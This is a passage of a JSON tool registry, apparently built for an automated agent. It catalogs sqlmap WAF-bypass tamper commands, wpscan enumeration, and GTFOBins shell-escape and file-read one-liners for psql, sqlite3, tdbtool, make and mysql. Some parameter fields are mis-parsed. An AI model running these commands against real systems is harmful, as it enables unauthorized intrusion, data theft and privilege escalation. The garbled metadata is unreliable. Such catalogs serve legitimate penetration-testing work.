        "name": "x",
        "type": "boolean",
        "required": false,
        "description": "verbose hexadecimal dump of data traffic",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "http://www.dest-unreach.org/socat/"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "HTTP",
      "SMB"
    ],
    "techniques": [
      "lateral-movement"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# sqlmap\n\nDarkiros cheat sheet commands:\n\n**SQLMap - classic with tamper**\n```\nsqlmap -u '[url]' tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes\n```\n\n**SQLMap - mysql tamper list**\n```\nsqlmap -u '[url]' --dbms=MYSQL tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes\n```\n\n**SQLMap - mssql tamper list**\n```\nsqlmap -u '[url]' --dbms=MSSQL tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor\n```\n",
    "_source": "darkiros-sqlmap.md",
    "capabilities": [
      "security.execution.injection"
    ],
    "description": "SQLMap - classic with tamper",
    "examples": [
      {
        "description": "SQLMap - classic with tamper",
        "command": "sqlmap -u '[url]' tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes"
      },
      {
        "description": "SQLMap - mysql tamper list",
        "command": "sqlmap -u '[url]' --dbms=MYSQL tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes"
      },
      {
        "description": "SQLMap - mssql tamper list",
        "command": "sqlmap -u '[url]' --dbms=MSSQL tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor"
      }
    ],
    "execution": {
      "template": "sqlmap",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "stealth"
    ],
    "id": "darkiros-sqlmap",
    "items": [
      "Hash",
      "Password"
    ],
    "mitre_ids": [
      "T1190"
    ],
    "name": "sqlmap",
    "namespace": "darkiros:tool:sqlmap",
    "parameters": [
      {
        "name": "C",
        "type": "boolean",
        "required": false,
        "description": "COL                   DBMS database table column to enumerate",
        "aliases": [
          "-C"
        ],
        "flag": "-C"
      },
      {
        "name": "D",
        "type": "boolean",
        "required": false,
        "description": "DB                    DBMS database to enumerate",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "T",
        "type": "boolean",
        "required": false,
        "description": "TBL                   DBMS database table to enumerate",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "banner",
        "type": "boolean",
        "required": false,
        "description": "Retrieve DBMS banner",
        "aliases": [
          "--banner"
        ],
        "flag": "--banner"
      },
      {
        "name": "batch",
        "template_key": "batch",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Never ask for user input",
        "aliases": [
          "--batch"
        ],
        "flag": "--batch"
      },
      {
        "name": "columns",
        "type": "boolean",
        "required": false,
        "description": "Enumerate DBMS database table columns",
        "aliases": [
          "--columns"
        ],
        "flag": "--columns"
      },
      {
        "name": "cookie",
        "template_key": "cookie",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "HTTP Cookie header value",
        "aliases": [
          "--cookie"
        ],
        "flag": "--cookie"
      },
      {
        "name": "current_db",
        "type": "boolean",
        "required": false,
        "description": "Retrieve DBMS current database",
        "aliases": [
          "--current-db"
        ],
        "flag": "--current-db"
      },
      {
        "name": "current_user",
        "type": "boolean",
        "required": false,
        "description": "Retrieve DBMS current user",
        "aliases": [
          "--current-user"
        ],
        "flag": "--current-user"
      },
      {
        "name": "data",
        "template_key": "data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "POST data string",
        "aliases": [
          "--data"
        ],
        "flag": "--data"
      },
      {
        "name": "dbms",
        "template_key": "dbms",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Force back-end DBMS type",
        "aliases": [
          "--dbms"
        ],
        "flag": "--dbms"
      },
      {
        "name": "dbs",
        "template_key": "dbs",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enumerate DBMS databases",
        "aliases": [
          "--dbs"
        ],
        "flag": "--dbs"
      },
      {
        "name": "dump",
        "template_key": "dump",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Dump DBMS database table entries",
        "aliases": [
          "--dump"
        ],
        "flag": "--dump"
      },
      {
        "name": "file_read",
        "type": "boolean",
        "required": false,
        "description": "Read file from DBMS file system",
        "aliases": [
          "--file-read"
        ],
        "flag": "--file-read"
      },
      {
        "name": "file_write",
        "type": "boolean",
        "required": false,
        "description": "Write file to DBMS file system",
        "aliases": [
          "--file-write"
        ],
        "flag": "--file-write"
      },
      {
        "name": "flush_session",
        "type": "boolean",
        "required": false,
        "description": "Flush session files for current target",
        "aliases": [
          "--flush-session"
        ],
        "flag": "--flush-session"
      },
      {
        "name": "fresh_queries",
        "type": "boolean",
        "required": false,
        "description": "Ignore query results stored in session file",
        "aliases": [
          "--fresh-queries"
        ],
        "flag": "--fresh-queries"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show this help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "headers",
        "type": "boolean",
        "required": false,
        "description": "127.0.0.1\")",
        "aliases": [
          "--headers",
          "-Forwarded-For"
        ],
        "flag": "--headers"
      },
      {
        "name": "level",
        "template_key": "level",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Level of tests to perform (1-5)",
        "aliases": [
          "--level"
        ],
        "flag": "--level"
      },
      {
        "name": "os-shell",
        "template_key": "os-shell",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Prompt for an interactive OS shell",
        "aliases": [
          "--os-shell"
        ],
        "flag": "--os-shell"
      },
      {
        "name": "os_cmd",
        "type": "boolean",
        "required": false,
        "description": "Execute OS command",
        "aliases": [
          "--os-cmd"
        ],
        "flag": "--os-cmd"
      },
      {
        "name": "passwords",
        "type": "boolean",
        "required": false,
        "description": "Enumerate DBMS users password hashes",
        "aliases": [
          "--passwords"
        ],
        "flag": "--passwords"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Proxy URL",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      },
      {
        "name": "random_agent",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--random-agent",
          "-Agent"
        ],
        "flag": "-Agent"
      },
      {
        "name": "risk",
        "template_key": "risk",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Risk of tests to perform (1-3)",
        "aliases": [
          "--risk"
        ],
        "flag": "--risk"
      },
      {
        "name": "tables",
        "template_key": "tables",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enumerate DBMS database tables",
        "aliases": [
          "--tables"
        ],
        "flag": "--tables"
      },
      {
        "name": "tamper",
        "type": "boolean",
        "required": false,
        "description": "Tamper script to bypass WAF",
        "aliases": [
          "--tamper"
        ],
        "flag": "--tamper"
      },
      {
        "name": "technique",
        "template_key": "technique",
        "type": "string",
        "required": false,
        "default_value": "BEUSTQ",
        "description": "SQL injection techniques to use",
        "aliases": [
          "--technique"
        ],
        "flag": "--technique"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Number of threads",
        "aliases": [
          "--threads"
        ],
        "flag": "--threads"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target URL",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "services": [
      "HTTP",
      "HTTPS",
      "MSSQL",
      "MySQL",
      "PostgreSQL"
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# WPSCAN\n\nDarkiros cheat sheet commands:\n\n**Scan wordpress web site with wpscan**\n```\nwpscan --proxy http://127.0.0.1:8080 --url [url] --disable-tls-checks -e ap,tt,cb,dbe,u1-20,m --api-token [wpscan_apitoken]\n```\n",
    "_source": "darkiros-wpscan.md",
    "capabilities": [
      "credential.discovery.reconnaissance"
    ],
    "description": "Scan wordpress web site with wpscan",
    "examples": [
      {
        "description": "Scan wordpress web site with wpscan",
        "command": "wpscan --proxy http://127.0.0.1:8080 --url [url] --disable-tls-checks -e ap,tt,cb,dbe,u1-20,m --api-token [wpscan_apitoken]"
      }
    ],
    "execution": {
      "template": "wpscan",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive",
      "process-manip"
    ],
    "id": "darkiros-wpscan",
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1595",
      "T1190"
    ],
    "name": "WPSCAN",
    "namespace": "darkiros:tool:wpscan",
    "parameters": [
      {
        "name": "api-token",
        "template_key": "api-token",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "API token for vulnerability database",
        "aliases": [
          "--api-token"
        ],
        "flag": "--api-token"
      },
      {
        "name": "batch",
        "template_key": "batch",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Never ask for user input",
        "aliases": [
          "--batch"
        ],
        "flag": "--batch"
      },
      {
        "name": "cookie",
        "template_key": "cookie",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Cookie string",
        "aliases": [
          "--cookie"
        ],
        "flag": "--cookie"
      },
      {
        "name": "detection-mode",
        "template_key": "detection-mode",
        "type": "string",
        "required": false,
        "default_value": "mixed",
        "description": "Detection mode (passive/aggressive/mixed)",
        "aliases": [
          "--detection-mode"
        ],
        "flag": "--detection-mode"
      },
      {
        "name": "enumerate",
        "template_key": "enumerate",
        "type": "string",
        "required": false,
        "default_value": "vp,vt",
        "description": "Enumeration options (vp,vt,u,ap,at,cb,dbe,tt)",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "exclude_content_based",
        "type": "boolean",
        "required": false,
        "description": "Exclude by content regex",
        "aliases": [
          "--exclude-content-based"
        ],
        "flag": "--exclude-content-based"
      },
      {
        "name": "force",
        "template_key": "force",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Force scan even if not WordPress",
        "aliases": [
          "--force"
        ],
        "flag": "--force"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show this help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "headers",
        "template_key": "headers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom HTTP headers",
        "aliases": [
          "--headers"
        ],
        "flag": "--headers"
      },
      {
        "name": "ignore_main_redirect",
        "type": "boolean",
        "required": false,
        "description": "Ignore redirect to main site",
        "aliases": [
          "--ignore-main-redirect"
        ],
        "flag": "--ignore-main-redirect"
      },
      {
        "name": "passwords",
        "template_key": "passwords",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Password file for brute force",
        "aliases": [
          "--passwords"
        ],
        "flag": "--passwords"
      },
      {
        "name": "plugins-detection",
        "template_key": "plugins-detection",
        "type": "string",
        "required": false,
        "default_value": "passive",
        "description": "Plugin detection mode (passive/aggressive/mixed)",
        "aliases": [
          "--plugins-detection"
        ],
        "flag": "--plugins-detection"
      },
      {
        "name": "plugins_version_detection",
        "type": "boolean",
        "required": false,
        "description": "Plugin version detection mode",
        "aliases": [
          "--plugins-version-detection"
        ],
        "flag": "--plugins-version-detection"
      },
      {
        "name": "proxy",
        "template_key": "proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Proxy URL",
        "aliases": [
          "--proxy"
        ],
        "flag": "--proxy"
      },
      {
        "name": "random-user-agent",
        "template_key": "random-user-agent",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Random User-Agent header",
        "aliases": [
          "--random-user-agent"
        ],
        "flag": "--random-user-agent"
      },
      {
        "name": "stealthy",
        "type": "boolean",
        "required": false,
        "description": "Stealthy mode (low and slow)",
        "aliases": [
          "--stealthy"
        ],
        "flag": "--stealthy"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 5,
        "description": "Number of threads",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "url",
        "template_key": "url",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target WordPress URL",
        "aliases": [
          "--url"
        ],
        "flag": "--url"
      },
      {
        "name": "user_agent",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--user-agent",
          "-Agent"
        ],
        "flag": "-Agent"
      },
      {
        "name": "usernames",
        "template_key": "usernames",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Username file",
        "aliases": [
          "--usernames"
        ],
        "flag": "--usernames"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "Source",
        "url": "https://github.com/wpscanteam/wpscan"
      },
      {
        "label": "Darkiros",
        "url": "https://darkiros.github.io/commands.html"
      }
    ],
    "services": [
      "HTTP",
      "HTTPS"
    ],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "mysql.md",
    "allowed-tools": [
      "mysql",
      "psql",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Query output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "MySQL client, can execute SQL queries and read files via LOAD DATA.",
    "examples": [
      {
        "description": "Read a file via mysql",
        "command": "mysql -e 'SELECT LOAD_FILE(\"/path/to/file\")'"
      }
    ],
    "execution": {
      "template": "mysql -e 'SELECT LOAD_FILE(\"/path/to/file\")'",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive"
    ],
    "global_vars": {},
    "id": "database-mysql-mysql",
    "install": [
      {
        "method": "apt",
        "package_name": "mysql-client",
        "commands": [
          "apt-get install -y mysql-client"
        ]
      }
    ],
    "name": "mysql",
    "namespace": "database:mysql:mysql",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/mysql/"
      }
    ],
    "related_tools": [
      "psql",
      "sqlite3"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "psql.md",
    "allowed-tools": [
      "psql",
      "mysql",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Query output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "PostgreSQL client, can execute SQL queries and read files via COPY.",
    "examples": [
      {
        "description": "Execute command via psql",
        "command": "psql -c \"COPY (SELECT '') TO PROGRAM '/bin/sh'\""
      }
    ],
    "execution": {
      "template": "psql -c \"COPY (SELECT '') TO PROGRAM '/bin/sh'\"",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive"
    ],
    "global_vars": {},
    "id": "database-postgres-psql",
    "install": [
      {
        "method": "apt",
        "package_name": "postgresql-client",
        "commands": [
          "apt-get install -y postgresql-client"
        ]
      }
    ],
    "name": "psql",
    "namespace": "database:postgres:psql",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/psql/"
      }
    ],
    "related_tools": [
      "mysql",
      "sqlite3"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# tdbtool\n\ntdbtool is a command-line utility. Samba TDB database manipulation tool; can also spawn an interactive shell.\n",
    "_source": "tdbtool.md",
    "allowed-tools": [
      "tdbtool"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Samba TDB database manipulation tool; can read and write files.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "tdbtool\n! /bin/sh"
      }
    ],
    "execution": {
      "template": "tdbtool",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "requires-root"
    ],
    "global_vars": {},
    "id": "database-samba-tdbtool",
    "install": [
      {
        "method": "apt",
        "package_name": "tdb-tools",
        "commands": [
          "apt-get install -y tdb-tools"
        ]
      }
    ],
    "name": "tdbtool",
    "namespace": "database:samba:tdbtool",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/tdbtool/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# sqlite3\n\nsqlite3 is a command-line utility. SQLite3 database CLI; can execute arbitrary queries and read files.\n",
    "_source": "sqlite3.md",
    "allowed-tools": [
      "sqlite3"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "SQLite3 database command-line interface; can execute queries, read/write files, and spawn shells.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "sqlite3 <<EOF\nCREATE TABLE x(x TEXT);\n.import /path/to/input-file x\nSELECT * FROM x;\nEOF"
      },
      {
        "description": "Write to arbitrary files (sudo, suid, unprivileged)",
        "command": "sqlite3 /dev/null -cmd '.output /path/to/output-file' 'select \"DATA\";'"
      },
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "sqlite3 /dev/null '.shell /bin/sh'"
      }
    ],
    "execution": {
      "template": "sqlite3",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "database-sqlite-sqlite3",
    "install": [
      {
        "method": "apt",
        "package_name": "sqlite3",
        "commands": [
          "apt-get install -y sqlite3"
        ]
      }
    ],
    "name": "sqlite3",
    "namespace": "database:sqlite:sqlite3",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/sqlite3/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration",
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n\n# Make — Build Automation\n\nMake is one of the oldest and most widely used build automation tools. It reads a Makefile that specifies how to derive the target program from source files using rules with dependency tracking.\n\n## Makefile Structure\n\n```makefile\n# Variables\nCC     = gcc\nCFLAGS = -Wall -O2\nTARGET = myapp\n\n# Default target\nall: $(TARGET)\n\n# Link target\n$(TARGET): main.o util.o\n\t$(CC) $(CFLAGS) -o $@ $^\n\n# Compile source files\n%.o: %.c\n\t$(CC) $(CFLAGS) -c $< -o $@\n\n# Clean build artifacts\nclean:\n\trm -f *.o $(TARGET)\n\n# Phony targets\n.PHONY: all clean\n```\n\n## Common Patterns\n\n### Phony Targets Convention\n```makefile\n.PHONY: all clean install test lint format\n\nall: build\n\nbuild:\n\tgo build -o bin/app .\n\ntest:\n\tgo test ./...\n\nlint:\n\tgolangci-lint run\n\ninstall:\n\tcp bin/app /usr/local/bin/\n\nclean:\n\trm -rf bin/\n```\n\n### Automatic Variables\n\n| Variable | Meaning |\n|----------|---------|\n| `$@` | Target name |\n| `$<` | First prerequisite |\n| `$^` | All prerequisites |\n| `$*` | Stem of the pattern match |\n| `$?` | Changed prerequisites |\n\n### Conditional Builds\n```makefile\nDEBUG ?= 0\nifeq ($(DEBUG), 1)\n\tCFLAGS += -g -DDEBUG\nelse\n\tCFLAGS += -O3\nendif\n```\n\n## Related Tools\n\n- **[cmake](../../build/cmake.md)** — Cross-platform build system generator\n- **[ninja](../../build/ninja.md)** — Fast, small build system (often used with cmake)\n- **[meson](../../build/meson.md)** — Modern build system\n- **[just](../../build/just.md)** — Command runner (simpler alternative)\n",
    "_source": "make.md",
    "allowed-tools": [
      "make",
      "gmake",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "dev.build.artifact",
        "description": "Built artifact (binary, library, or output)",
        "trust_level": "verified"
      },
      {
        "type": "dev.build.log",
        "description": "Build output log",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "dev.build.dependency",
      "dev.build.compile",
      "dev.build.clean",
      "dev.build.automate",
      "dev.build.test",
      "dev.build.target",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "dev.build.makefile",
          "description": "Makefile with build rules"
        },
        {
          "type": "dev.source.code",
          "description": "Source code to compile"
        }
      ],
      "outputs": [
        {
          "type": "dev.build.artifact",
          "description": "Compiled binary or build artifact"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 128,
        "network": "none",
        "disk_io": "high"
      }
    },
    "dependencies": [],
    "description": "Build automation tool for compiling and managing project dependencies using Makefile-based rule definitions.",
    "examples": [
      {
        "description": "Build default target",
        "command": "make"
      },
      {
        "description": "Build a specific target",
        "command": "make clean build"
      },
      {
        "description": "Build with parallel jobs",
        "command": "make -j$(nproc)"
      },
      {
        "description": "Build in a subdirectory",
        "command": "make -C src/"
      },
      {
        "description": "Dry run to see what would be built",
        "command": "make -n"
      },
      {
        "description": "Override compiler variable",
        "command": "make CC=clang CFLAGS=-O3"
      },
      {
        "description": "Can be used to execute arbitrary commands on a system and spawn shells either indirectly",
        "command": "make -s --eval=$'x:\\n\\t-'\"/bin/sh\"\n"
      },
      {
        "description": "Argument injection: spawn interactive shell: Can be used to execute arbitrary commands on a system and spawn shells either indirectly",
        "command": "make -s --eval=$'x:\\n\\t-'\"/bin/sh\""
      }
    ],
    "execution": {
      "template": "make {flag-b} {always-make} {directory} {flag-d} {debug}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "batch",
      "process-manip"
    ],
    "id": "dev-build-make",
    "install": [
      {
        "method": "apt",
        "package_name": "make",
        "commands": [
          "apt-get install -y make"
        ]
      }
    ],
    "name": "make",
    "namespace": "dev:build:make",
    "parameters": [
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ignored for compatibility",
        "aliases": [
          "-b",
          "-m"
        ],
        "flag": "-b"
      },
      {
        "name": "always-make",
        "template_key": "always-make",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Unconditionally make all targets",
        "aliases": [
          "-B",
          "--always-make"
        ],
        "flag": "-B"
      },
      {
        "name": "directory",
        "template_key": "directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Change to DIRECTORY before doing anything",
        "aliases": [
          "-C",
          "--directory"
        ],
        "flag": "-C"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print lots of debugging information",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "debug",
        "template_key": "debug",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print various types of debugging information",
        "aliases": [
          "--debug"
        ],
        "flag": "--debug"
      },
      {
        "name": "environment-overrides",
        "template_key": "environment-overrides",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Environment variables override makefiles",
        "aliases": [
          "-e",
          "--environment-overrides"
        ],
        "flag": "-e"
      },
      {
        "name": "eval",
        "template_key": "eval",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Evaluate STRING as a makefile statement",
        "aliases": [
          "-E",
          "--eval"
        ],
        "flag": "-E"
      },
      {
        "name": "file",
        "template_key": "file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Read FILE as a makefile",
        "aliases": [
          "-f",
          "--file",
          "--makefile"
        ],
        "flag": "-f"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print this message and exit",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "ignore-errors",
        "template_key": "ignore-errors",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ignore errors from recipes",
        "aliases": [
          "-i",
          "--ignore-errors"
        ],
        "flag": "-i"
      },
      {
        "name": "include-dir",
        "template_key": "include-dir",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Search DIRECTORY for included makefiles",
        "aliases": [
          "-I",
          "--include-dir"
        ],
        "flag": "-I"
      },
      {
        "name": "jobs",
        "template_key": "jobs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allow N jobs at once; infinite jobs with no arg",
        "aliases": [
          "-j",
          "--jobs"
        ],
        "flag": "-j"
      },
      {
        "name": "jobserver-style",
        "template_key": "jobserver-style",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Select the style of jobserver to use",
        "aliases": [
          "--jobserver-style"
        ],
        "flag": "--jobserver-style"
      },
      {
        "name": "keep-going",
        "template_key": "keep-going",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Keep going when some targets can't be made",
        "aliases": [
          "-k",
          "--keep-going"
        ],
        "flag": "-k"
      },
      {
        "name": "load-average",
        "template_key": "load-average",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Don't start multiple jobs unless load is below N",
        "aliases": [
          "-l",
          "--load-average",
